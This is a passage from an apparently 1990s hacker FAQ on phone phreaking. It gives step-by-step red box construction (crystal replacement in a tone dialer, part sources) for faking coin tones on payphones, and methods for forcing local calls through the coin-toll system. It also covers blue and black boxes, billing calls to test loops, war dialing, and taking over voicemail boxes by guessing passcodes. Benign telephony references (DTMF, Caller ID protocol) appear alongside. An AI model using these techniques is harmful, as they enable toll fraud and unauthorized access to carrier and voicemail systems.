Nickel Signal 1700+2200 0.060s on
Dime Signal 1700+2200 0.060s on, 0.060s off, twice repeating
Quarter Signal 1700+2200 33ms on, 33ms off, 5 times repeating
02. How do I build a Red Box?
Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.
To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer,
open the dialer and replace the crystal with a new one.
The purpose of the new crystal is to cause the * button on your tone
dialer to create a 1700Mhz and 2200Mhz tone instead of the original
941Mhz and 1209Mhz tones. The exact value of the replacement crystal
should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to
create a perfect 2200mhz tone. A crystal close to those values will
create a tone that easily falls within the loose tolerances of ACTS.
The most popular choice is the 6.5536Mhz crystal, because it is the
eaiest to procure. The old crystal is the large shiny metal component
labeled "3.579545Mhz." When you are finished replacing the crystal,
program the P1 button with five *'s. That will simulate a quarter
tone each time you press P1.
03. Where can I get a 6.5536Mhz crystal?
Your best bet is a local electronics store. Radio Shack sells them,
but they are overpriced and the store must order them in. This takes
approximately two weeks. In addition, many Radio Shack employees do
not know that this can be done.
Or, you could order the crystal mail order. This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal. It's best to get several people together to share the
S&H cost. Or, buy five or six yourself and sell them later. Some of
the places you can order crystals are:
Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(80)344-4539
Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND
JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ
Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625
Alltronics
2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057
04. Which payphones will a Red Box work on?
Red Boxes will work on TelCo owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).
Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone. ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.
COCOT's do not use ACTS. On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.
05. How do I make local calls with a Red Box?
Payphones do not use ACTS for local calls. To use your red box for
local calls, you have to fool ACTS into getting involved in the call.
One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This
makes your call a long distance call, and brings ACTS into the
picture.
In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach. The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents." When this
happens, you can then use ACTS tones.
06. What is a Blue Box?
Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling. The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.
07. Do Blue Boxes still work?
Blue Boxes still work in areas using in band signalling. Modern phone
switches use out of band signalling. Nothing you send over the voice
portion of bandwidth can control the switch. If you are in an area
served by a switch using out of band signalling, you can still blue
box by calling through an area served by older in-band equipment.
08. What is a Black Box?
A Black Box is a 1.8k ohm resistor placed across your phone line to
cause the phone company equipment to be unable to detect that you have
answered your telephone. People who call you will then not be billed
for the telephone call. Black boxes do not work under ESS.
09. What do all the colored boxes do?
Acrylic Steal Three-Way-Calling, Call Waiting and programmable
Call Forwarding on old 4-wire phone systems
Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
Beige Lineman's hand set
Black Allows the calling party to not be billed for the call
placed
Blast Phone microphone amplifier
Blotto Supposedly shorts every fone out in the immediate area
Blue Emulate a true operator by seizing a trunk with a 2600hz
tone
Brown Create a party line from 2 phone lines
Bud Tap into your neighbors phone line
Chartreuse Use the electricity from your phone line
Cheese Connect two phones to create a diverter
Chrome Manipulate Traffic Signals by Remote Control
Clear A telephone pickup coil and a small amp used to make free
calls on Fortress Phones
Color Line activated telephone recorder
Copper Cause crosstalk interference on an extender
Crimson Hold button
Dark Re-route outgoing or incoming calls to another phone
Dayglo Connect to your neighbors phone line
Divertor Re-route outgoing or incoming calls to another phone
DLOC Create a party line from 2 phone lines
Gold Dialout router
Green Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity Remotely activated phone tap
Jack Touch-Tone key pad
Light In-use light
Lunch AM transmitter
Magenta Connect a remote phone line to another remote phone line
Mauve Phone tap without cutting into a line
Neon External microphone
Noise Create line noise
Olive External ringer
Party Create a party line from 2 phone lines
Pearl Tone generator
Pink Create a party line from 2 phone lines
Purple Telephone hold button
Rainbow Kill a trace by putting 120v into the phone line (joke)
Razz Tap into your neighbors phone
Red Make free phone calls from pay phones by generating
quarter tones
Rock Add music to your phone line
Scarlet Cause a neighbors phone line to have poor reception
Silver Create the DTMF tones for A, B, C and D
Static Keep the voltage on a phone line high
Switch Add hold, indicator lights, conferencing, etc..
Tan Line activated telephone recorder
Tron Reverse the phase of power to your house, causing your
electric meter to run slower
TV Cable "See" sound waves on your TV
Urine Create a capacitative disturbance between the ring and
tip wires in another's telephone headset
Violet Keep a payphone from hanging up
White Portable DTMF keypad
Yellow Add an extension phone
Box schematics may be retrieved from these FTP sites:
An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.
11. What is the ANAC number for my area?
How to find your ANAC number:
Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it. If that fails, try the
common numbers like 311, 958 and 200-222-2222. If you find the ANAC
number for your area, please let us know.
Note that many times the ANAC number will vary for different switches
in the same city. The geographic naming on the list is NOT intended
to be an accurate reference for coverage patterns, it is for
convenience only.
Many companies operate 800 number services which will read back to you
the number from which you are calling. Many of these require
navigating a series of menus to get the phone number you are looking
for.
(800)238-4959 A voice mail system
(800)328-2630 A phone sex line
(800)568-3197 Info Access Telephone Company's Automated Blocking Line
(800)571-8859 A phone sex line
(800)692-6447 (800)MY-ANI-IS
(800)769-3766 Duke Power Company Automated Outage System
(800)455-3256 Unknown
An non-800 ANAC that works nationwide is 404-988-9664. The one catch
with this number is that it must be dialed with the AT&T Carrier
Access Code 10732.
Another non-800 nationwide ANAC is Glen Robert of Full Disclosure
Magazine's number, 10555-1-708-356-9646.
Please use local ANAC numbers if you can, as abuse or overuse kills
800 ANAC numbers.
NPA ANAC number Geographic area
--- --------------- ---------------------------------------------
201 958 Hackensack/Jersey City/Newark/Paterson, NJ
202 811 District of Columbia
203 970 CT
205 300-222-2222 Birmingham, AL
205 300-555-5555 Many small towns in AL
205 300-648-1111 Dora, AL
205 300-765-4321 Bessemer, AL
205 300-798-1111 Forestdale, AL
205 300-833-3333 Birmingham
205 557-2311 Birmingham, AL
205 811 Pell City/Cropwell/Lincoln, AL
205 841-1111 Tarrant, AL
205 908-222-2222 Birmingham, AL
206 411 WA (Not US West)
207 958 ME
209 830-2121 Stockton, CA
209 211-9779 Stockton, CA
212 958 Manhattan, NY
213 114 Los Angeles, CA (GTE)
213 1223 Los Angeles, CA (Some 1AESS switches)
213 211-2345 Los Angeles, CA (English response)
213 211-2346 Los Angeles, CA (DTMF response)
213 760-2??? Los Angeles, CA (DMS switches)
213 61056 Los Angeles, CA
214 570 Dallas, TX
214 790 Dallas, TX (GTE)
214 970-222-2222 Dallas, TX
214 970-611-1111 Dallas, TX (Southwestern Bell)
215 410-xxxx Philadelphia, PA
215 511 Philadelphia, PA
215 958 Philadelphia, PA
216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
219 550 Gary/Hammond/Michigan City/Southbend, IN
219 559 Gary/Hammond/Michigan City/Southbend, IN
301 958-9968 Hagerstown/Rockville, MD
310 114 Long Beach, CA (On many GTE switches)
310 1223 Long Beach, CA (Some 1AESS switches)
310 211-2345 Long Beach, CA (English response)
310 211-2346 Long Beach, CA (DTMF response)
312 200 Chicago, IL
312 290 Chicago, IL
312 1-200-8825 Chicago, IL (Last four change rapidly)
312 1-200-555-1212 Chicago, IL
313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
315 953 Syracuse/Utica, NY
315 958 Syracuse/Utica, NY
315 998 Syracuse/Utica, NY
317 310-222-2222 Indianapolis/Kokomo, IN
317 559-222-2222 Indianapolis/Kokomo, IN
317 743-1218 Indianapolis/Kokomo, IN
401 200-200-4444 RI
401 222-2222 RI
402 311 Lincoln, NE
404 311 Atlanta, GA
404 940-xxx-xxxx Atlanta, GA
404 990 Atlanta, GA
405 890-7777777 Enid/Oklahoma City, OK
405 897 Enid/Oklahoma City, OK
407 200-222-2222 Orlando/West Palm Beach, FL
408 300-xxx-xxxx San Jose, CA
408 760 San Jose, CA
408 940 San Jose, CA
409 951 Beaumont/Galveston, TX
409 970-xxxx Beaumont/Galveston, TX
410 200-6969 A
410 200-555-1212 A
410 811 Annapolis/Baltimore, MD
412 711-6633 Pittsburgh, PA
412 711-4411 Pittsburgh, PA
412 999-xxxx Pittsburgh, PA
413 958 Pittsfield/Springfield, MA
413 200-555-5555 Pittsfield/Springfield, MA
414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 200-555-1212 San Francisco, CA
415 211-2111 San Francisco, CA
415 2222 San Francisco, CA
415 640 San Francisco, CA
415 760-2878 San Francisco, CA
415 7600-2222 San Francisco, CA
419 311 Toledo, OH
502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY
502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
503 611 Portland, OR
503 999 Portland, OR (GTE)
504 99882233 Baton Rouge/New Orleans, LA
504 201-269-1111 Baton Rouge/New Orleans, LA
504 998 Baton Rouge/New Orleans, LA
504 99851-0000000000 Baton Rouge/New Orleans, LA
508 958 Fall River/New Bedford/Worchester, MA
508 200-222-1234 Fall River/New Bedford/Worchester, MA
508 200-222-2222 Fall River/New Bedford/Worchester, MA
508 26011 Fall River/New Bedford/Worchester, MA
509 560 Spokane/Walla Walla/Yakima, WA
512 830 Austin/Corpus Christi, TX
512 970-xxxx Austin/Corpus Christi, TX
515 5463 Des Moines, IA
515 811 Des Moines, IA
516 958 Hempstead/Long Island, NY
516 968 Hempstead/Long Island, NY
517 200-222-2222 Bay City/Jackson/Lansing, MI
517 200200200200200 Bay City/Jackson/Lansing, MI
518 997 Albany/Schenectady/Troy, NY
518 998 Albany/Schenectady/Troy, NY
603 200-222-2222 NH
606 997-555-1212 Ashland/Winchester, KY
606 711 Ashland/Winchester, KY
607 993 Binghamton/Elmira, NY
609 958 Atlantic City/Camden/Trenton/Vineland, NJ
610 958 Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
614 200 Columbus/Steubenville, OH
614 571 Columbus/Steubenville, OH
615 200200200200200 Chatanooga/Knoxville/Nashville, TN
615 2002222222 Chatanooga/Knoxville/Nashville, TN
615 830 Nashville, TN
616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
617 200-222-1234 Boston, MA
617 200-222-2222 Boston, MA
617 200-444-4444 Boston, MA (Woburn, MA)
617 220-2622 Boston, MA
617 958 Boston, MA
618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
618 930 Alton/Cairo/Mt.Vernon, IL
619 211-2001 San Diego, CA
703 811 Alexandria/Arlington/Roanoke, VA
704 311 Asheville/Charlotte, NC
708 1-200-555-1212 Chicago/Elgin, IL
708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
708 200-6153 Chicago/Elgin, IL
708 724-9951 Chicago/Elgin, IL
708 356-9646 Chicago/Elgin, IL
713 380 Houston, TX
713 970-xxxx Houston, TX
713 811 Humble, TX
714 114 Anaheim, CA (GTE)
714 211-2121 Anaheim, CA (PacBell)
714 211-2222 Anaheim, CA (Pacbell)
716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717 958 Harrisburg/Scranton/Wilkes-Barre, PA
718 958 Bronx/Brooklyn/Queens/Staten Island, NY
802 2-222-222-2222 Vermont
802 200-222-2222 Vermont
802 1-700-222-2222 Vermont
802 111-2222 Vermont
805 114 Bakersfield/Santa Barbara, CA
805 211-2345 Bakersfield/Santa Barbara, CA
805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
805 830 Bakersfield/Santa Barbara, CA
806 970-xxxx Amarillo/Lubbock, TX
810 200200200200200 Flint/Pontiac/Southfield/Troy, MI
812 410-555-1212 Evansville, IN
813 311 Ft. Meyers/St. Petersburg/Tampa, FL
815 200-xxx-xxxx La Salle/Rockford, IL
815 290 La Salle/Rockford, IL
817 211 Ft. Worth/Waco, TX
817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
818 1223 Pasadena, CA (Some 1AESS switches)
818 211-2345 Pasadena, CA (English response)
818 211-2346 Pasadena, CA (DTMF response)
903 970-611-1111 Denison, TX
906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
908 958 New Brunswick, NJ
910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915 970-xxxx Abilene/El Paso, TX
916 211-2222 Sacramento, CA (Pac Bell)
916 461 Sacramento, CA (Roseville Telepohone)
919 200 Durham, NC
919 711 Durham, NC
Canada:
204 644-xxxx Manitoba
306 115 Saskatchewan, Canada
403 311 Alberta, Yukon and N.W. Territory
403 908-222-2222 Alberta, Yukon and N.W. Territory
403 999 Alberta, Yukon and N.W. Territory
416 997-xxxx Toronto, Ontario
506 1-555-1313 New Brunswick
514 320-xxxx Montreal, Quebec
519 320-xxxx London, Ontario
604 1116 British Columbia, Canada
604 1211 British Columbia, Canada
604 211 British Columbia, Canada
613 320-2232 Ottawa, Ontario
705 320-4567 North Bay/Saulte Ste. Marie, Ontario
Australia:
+61 03-552-4111 Victoria 03 area
+612 19123 All major capital cities
United Kingdom:
175
12. What is a ringback number?
A ringback number is a number that you call that will immediately
ring the telephone from which it was called.
In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone. You may then
hang up. You will be called back seconds later.
13. What is the ringback number for my area?
An 'x' means insert those numbers from the phone number from which you
are calling. A '?' means that the number varies from switch to switch
in the area, or changes from time to time. Try all possible
combinations.
If the ringback for your NPA is not listed, try common ones such as
954, 957 and 958. Also, try using the numbers listed for other NPA's
served by your telephone company.
NPA Ringback number Geographic area
--- --------------- ---------------------------------------------
201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ
202 958-xxxx District of Columbia
203 99?-xxxx CT
208 99xxx-xxxx ID
213 1-95x-xxxx Los Angeles, CA
219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
301 579-xxxx Hagerstown/Rockville, MD
301 958-xxxx Hagerstown/Rockville, MD
303 99X-xxxx Grand Junction, CO
304 998-xxxx WV
305 999-xxxx Ft. Lauderdale/Key West/Miami, FL
312 511-xxxx Chicago, IL
312 511-xxx-xxxx Chicago, IL
312 57?-xxxx Chicago, IL
315 98x-xxxx Syracuse/Utica, NY
317 777-xxxx Indianapolis/Kokomo, IN
317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319 79x-xxxx Davenport/Dubuque, Iowa
401 98?-xxxx RI
404 450-xxxx Atlanta, GA
407 988-xxxx Orlando/West Palm Beach, FL
412 985-xxxx Pittsburgh, PA
414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 350-xxxx San Francisco, CA
417 551-xxxx Joplin/Springfield, MO
501 221-xxx-xxxx AR
501 721-xxx-xxxx AR
502 988 Frankfort/Louisville/Paducah/Shelbyville, KY
503 541-XXXX OR
504 99x-xxxx Baton Rouge/New Orleans, LA
504 9988776655 Baton Rouge/New Orleans, LA
505 59?-xxxx New Mexico
512 95X-xxxx Austin, TX
513 99?-xxxx Cincinnati/Dayton, OH
513 955-xxxx Cincinnati/Dayton, OH
516 660-xxx-xxxx Hempstead/Long Island, NY
601 777-xxxx MS
609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ
612 511 Minneapolis/St.Paul, MN
612 999-xxx-xxxx Minneapolis/St.Paul, MN
614 998-xxxx Columbus/Steubenville, OH
615 930-xxxx Chatanooga/Knoxville/Nashville, TN
616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI
619 331-xxxx San Diego, CA
619 332-xxxx San Diego, CA
703 958-xxxx Alexandria/Arlington/Roanoke, VA
708 511-xxxx Chicago/Elgin, IL
714 330? Anaheim, CA (GTE)
714 33?-xxxx Anaheim, CA (PacBell)
716 981-xxxx Rochester, NY (Rochester Tel)
718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY
719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO
801 938-xxxx Utah
801 939-xxxx Utah
802 987-xxxx Vermont
804 260 Charlottesville/Newport News/Norfolk/Richmond, VA
805 114 Bakersfield/Santa Barbara, CA
805 980-xxxx Bakersfield/Santa Barbara, CA
810 951-xxx-xxxx Pontiac/Southfield/Troy, MI
813 711 Ft. Meyers/St. Petersburg/Tampa, FL
817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)
906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI
908 55?-xxxx New Brunswick, NJ
908 953 New Brunswick, NJ
913 951-xxxx Lawrence/Salina/Topeka, KS
914 660-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY
Australia: +61 199
Brazil: 199
New Zealand: 137
Sweden: 0058
United Kingdom: 174 or 1744 or 175 or 0500-89-0011
14. What is a loop?
This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
by Minor Threat & Mucho Maas
Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999. They are used by the phone company for testing. What
good do loops do us? Well, they are cool in a few ways. Here is a
simple use of loops. Each loop has two ends, a 'high' end, and a
'low' end. One end gives a (usually) constant, loud tone when it is
called. The other end is silent. Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop. Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you. Here's
what you can use working loops for: billing phone calls! First, call
the end that gives the loud tone. Then if the operator or someone
calls the other end, the tone will go quiet. Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever. The operator thinks that she just called you, and
that's it! Now the phone bill will go to the loop, and your local
RBOC will get the bill! Use this technique in moderation, or the loop
may go down. Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.
15. What is a loop in my area?
Many of these loops are no longer functional. If you are local
to any of these loops, please try them out an e-mail me the results
of your research.
CNA stands for Customer Name and Address. The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number. If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find it's phone
number and then call the CNA operator to see who owns it and where
they live.
Normal CNA numbers are available only to telephone company personnel.
Private citizens may legally get CNA information from private
companies. Two such companies are:
Unidirectory (900)933-3330
Telename (900)884-1212
Note that these are 900 numbers, and will cost you approximately one
dollar per minute.
If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
available to the general public. The number is 796-9600. The cost is
$.35/call and can look up two numbers per call.
If you are in 415, Pacific Bell offers a public access CNA service at
(415)781-5271.
An interesting number is The House of Windsor Collection at
(800)433-3210. If you dial it and press 1 to request a catalog, it
will ask for your telephone number. If will then tell you the street
name of any telephone number you enter.
17. What is the telephone company CNA number for my area?
203 203-771-8080 CT
516 516-321-5700 Hempstead/Long Island, NY
614 614-464-0123 Columbus/Steubenville, OH
813 813-270-8711 Ft. Meyers/St. Petersburg/Tampa, FL
513 513-397-9110 Cincinnati/Dayton, OH
18. What are some numbers that always ring busy?
216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH
303 431-0000 Denver, CO
303 866-8660 Denver, CO
316 952-7265 Dodge City/Wichita, KS
501 377-99xx AR
719 472-3773 Colorado Springs/Leadville/Pueblo, CO
805 255-0699 Bakersfield/Santa Barbara, CA
818 885-0699 Pasadena, CA
906 632-9999 Marquette/Sault Ste. Marie, MI
906 635-9999 Marquette/Sault Ste. Marie, MI
914 576-9903 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
19. What are some numbers that temporarily disconnect phone service?
314 511 Columbia/Jefferson City/St.Louis, MO (1 minute)
404 420 Atlanta, GA (5 minutes)
405 953 Enid/Oklahoma City, OK (1 minute)
407 511 Orlando/West Palm Beach, FL (1 minute)
512 200 Austin/Corpus Christi, TX (1 minute)
516 480 Hempstead/Long Island, NY (1 minute)
603 980 NH
614 xxx-9894 Columbus/Steubenville, OH
805 119 Bakersfield/Santa Barbara, CA (3 minutes)
919 211 or 511 Durham, NC (10 min - 1 hour)
20. What is scanning?
Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.
Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.
Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer. Currently, the best war dialer available to
PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can
be ftp'd from ftp.paranoia.com /pub/toneloc/.
A war dialer will dial a range of numbers and log what it finds at
each number. You can then only dial up the numbers that the war
dialer marked as carriers or tones.
21. Is scanning illegal?
Excerpt from: 2600, Spring 1990, Page 27:
-BQ-
In some places, scanning has been made illegal. It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once. It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer. Some central offices have been
known to react strangely when people start scanning. Sometimes you're
unable to get a dialtone for hours after you start scanning. But
there is no uniform policy. The best thing to do is to first find out
if you've got some crazy law saying you can't do it. If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.
-EQ-
It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO. It is now illegal to place a call
in Colorado Springs without the intent to communicate.
22. Where can I purchase a lineman's handset?
Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000
Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399
Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619)679-0303
23. What are the DTMF frequencies?
DTMF stands for Dual Tone Multi Frequency. These are the tones you
get when you press a key on your telephone touchpad. The tone of the
button is the sum of the column and row tones. The ABCD keys do not
exist on standard telephones.
1209 1336 1477 1633
697 1 2 3 A
770 4 5 6 B
852 7 8 9 C
941 * 0 # D
24. What are the frequencies of the telephone tones?
Type Hz On Off
---------------------------------------------------------------------
Dial Tone 350 & 400 --- ---
Busy Signal 480 & 620 0.5 0.5
Toll Congestion 480 & 620 0.2 0.3
Ringback (Normal) 440 & 480 2.0 4.0
Ringback (PBX) 440 & 480 1.5 4.5
Reorder (Local) 480 & 620 3.0 2.0
Invalid Number 200 & 400
Hang Up Warning 1400 & 2060 0.1 0.1
Hang Up 2450 & 2600 --- ---
25. What are all of the * (LASS) codes?
Local Area Signalling Services (LASS) and Custom Calling Feature
Control Codes:
(These appear to be standard, but may be changed locally)
[C1] - Means code used for Cellular One service
[1] - for cellular in Pittsburgh, PA A/C 412 in some areas
[2] - indicates that you are not local and maybe how to reach you
[3] - found in Pac Bell territory; Intercom ring causes a distinctive
ring to be generated on the current line; Hold keeps a call
connected until another extension is picked up
[4] - applied once before each call
[5] - A.C.R. blocks calls from those who blocked Caller ID
(used in C&P territory, for instance)
[6] - cancels further return attempts
[M: *xx] - alternate code used for MLVP (multi-line variety package)
by Bellcore. It goes by different names in different RBOCs.
In Bellsouth it is called Prestige. It is an arrangement of
ESSEX like features for single or small multiple line groups.
The reason for different codes for some features in MLVP is that
call-pickup is *8 in MLVP so all *8x codes are reaasigned *5x
26. What frequencies do cordless phones operate on?
Here are the frequencies for the first generation 46/49mhz phones.
The new 900mhz cordless phones are not covered.
Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
customers. It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first 4 second silent interval in the ringing
cycle.
Parameters
~~~~~~~~~~
The data signalling interface has the following characteristics:
Protocol
~~~~~~~~
The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.
| Channel | Carrier | Message | Message | Data | Checksum |
| Seizure | Signal | Type | Length | Word(s) | Word |
| Signal | | Word | Word | | |
Channel Siezure Signal
~~~~~~~~~~~~~~~~~~~~~~
The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data
pump).
Carrier Signal
~~~~~~~~~~~~~~
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.
Message Type Word
~~~~~~~~~~~~~~~~~
The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h
(00000100).
Message Length Word
~~~~~~~~~~~~~~~~~~~
The message length word specifies the total number of data words to
follow.
Data Words
~~~~~~~~~~
The data words are encoded in ASCII and represent the following
information:
o The first two words represent the month
o The next two words represent the day of the month
o The next two words represent the hour in local military time
o The next two words represent the minute after the hour
o The calling party's directory number is represented by the
remaining words in the data word field
If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".
Checksum Word
~~~~~~~~~~~~~
The Checksum Word contains the twos complement of the modulo 256 sum
of the other words in the data message (i.e., message type, message
length, and data words). The receiving equipment may calculate the
modulo 256 sum of the received words and add this sum to the reveived
checksum word. A result of zero generally indicates that the message
was correctly received. Message retransmission is not supported.
Example CNS Single Data Message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An example of a received CND message, beginning with the message type
word, follows:
04h= Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h= Checksum Word
Data Access Arrangement (DAA) Requirements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office. A simple modification to an
existing DAA circuit easily accomplishes the task.
Modem Requirements
~~~~~~~~~~~~~~~~~~
Although the data signalling interface parameters match those of a
Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal. The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information. After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset. The host then configures the modem to monitor the phone
line for CND information.
Signalling
~~~~~~~~~~
According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst
Applications
~~~~~~~~~~~~
Once CND information is received the user may process the information
in a number of ways.
1. The date, time, and calling party's directory number can be
displayed.
2. Using a look-up table, the calling party's directory number can be
correlated with his or her name and the name displayed.
3. CND information can also be used in additional ways such as for:
a. Bulletin board applications
b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base
References
~~~~~~~~~~
For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.
To obtain Bellcore documents contact:
Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ 08834-4196
(908) 699-5800
28. What is a PBX?
A PBX is a Private Branch Exchange. A PBX is a small telephone switch
owned by a company or organization. Let's say your company has a
thousand employees. Without a PBX, you would need a thousand phone
lines. However, only 10% of your employees are talking on the phone
at one time. What if you had a computer that automatically found an
outside line every time one of your employees picked up the telephone.
With this type of system, you could get by with only paying for one
hundred phone lines. This is a PBX.
29. What is a VMB?
A VMB is a Voice Mail Box. A VMB is a computer that acts as an
answering machine for hundreds or thousands of users. Each user will
have their own Voice Mail Box on the system. Each mail box will have
a box number and a pass code.
Without a passcode, you will usually be able to leave messages to
users on the VMB system. With a passcode, you can read messages and
administer a mailbox. Often, mailboxes will exist that were created
by default or are no longer used. These mailboxes may be taken over
by guessing their passcode. Often the passcode will be the mailbox
number or a common number such as 1234.
Section C: Resources
~~~~~~~~~~~~~~~~~~~~
01. What are some ftp sites of interest to hackers?
02. What are some fsp sites of interest to hackers?
Third Stone From the Sun 132.241.180.91 6969
03. What are some newsgroups of interest to hackers?
alt.2600 Do it 'til it hertz
alt.2600.hope.tech Technology concerns for Hackers on Planet Earth 1994
alt.cellular
alt.cellular-phone-tech
alt.comp.virus
alt.cyberpunk High-tech low-life.
alt.cyberspace Cyberspace and how it should work.
alt.dcom.telecom Discussion of telecommunications technology
alt.engr.explosives [no description available]
alt.hackers Descriptions of projects currently under development
alt.locksmithing You locked your keys in *where*?
alt.hackers.malicious The really bad guys - don't take candy from them
alt.ph.uk
alt.privacy.anon-server Tech. & policy matters of anonymous contact servers
alt.radio.pirate Hide the gear, here comes the magic station-wagons.
alt.radio.scanner Discussion of scanning radio receivers.
alt.satellite.tv.europe
alt.security Security issues on computer systems
alt.security.index Pointers to good stuff in misc.security (Moderated)
alt.security.keydist Exchange of keys for public key encryption systems
alt.security.pgp The Pretty Good Privacy package
